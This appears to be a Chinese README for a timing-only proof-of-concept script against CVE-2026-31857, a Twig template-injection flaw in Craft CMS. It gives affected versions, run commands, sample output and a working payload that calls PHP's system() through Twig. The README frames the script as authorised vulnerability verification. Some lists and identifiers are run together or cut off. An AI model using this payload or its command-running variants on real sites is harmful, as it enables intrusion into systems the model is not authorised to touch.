一个针对 Craft CMS 中 CVE-2026-31857 的小型、通用、非破坏性概念验证。
该漏洞存在于 Craft CMS 的关系条件处理中。控制面板用户可以提供一个 elementIds 值,该值会到达未沙箱化的对象模板渲染器。在受影响的版本上,这可能导致服务端 Twig 求值和命令执行。
此 PoC 有意仅通过请求 sleep N 来执行基于时序的验证。它不会打开 shell、写入文件或返回任意命令输出。
根据 Craft CMS 安全公告:
>= 5.0.0-RC1 且 <= 5.9.8>= 4.0.0-beta.1 且 <= 4.17.3修复于:
5.9.94.17.4在断定某个打包构建存在漏洞之前,请务必查看厂商公告和下游软件包信息。
安装依赖:
python3 -m pip install -r requirements.txt
python3 poc.py \
--target https://craft.example \
--username editor \
--password 'ExamplePassword'
对于非默认控制面板触发器:
python3 poc.py \
-t https://craft.example \
-u editor \
-p 'ExamplePassword' \
--cp-trigger control
对于使用自签名证书的授权实验室:
python3 poc.py \
-t https://craft.example \
-u editor \
-p 'ExamplePassword' \
--insecure
易受攻击实例上的示例输出:
[*] Fetching Craft control panel...
[+] Authenticated successfully.
[*] Action endpoint: https://craft.example/admin/actions/element-indexes/get-elements
[*] Baseline: HTTP 200, 0.184s
[*] Timing payload: HTTP 200, 4.207s
[+] Likely vulnerable to CVE-2026-31857 (timing delta: 4.023s).
验证器:
users/login 进行身份验证。RelatedToConditionRule 的第二个请求。elementIds:{{ ['system','sleep 4'] | sort('call_user_func') }}
相关的易受攻击路径在概念上为:
RelatedToConditionRule
-> BaseElementSelectConditionRule::getElementIds()
-> renderObjectTemplate()
-> unsandboxed Twig evaluation
厂商修复将受影响的渲染路径改为使用沙箱化的对象模板渲染器。
sleep 命令一致。actionUrl 值,否则回退到查询字符串操作路由。GHSA-fp5j-j7j4-mcxcCVE-2026-318578d4903647dcfd31b8d40ed027e27082013347a80仅在你拥有或已获得明确授权进行安全测试的系统上使用此代码。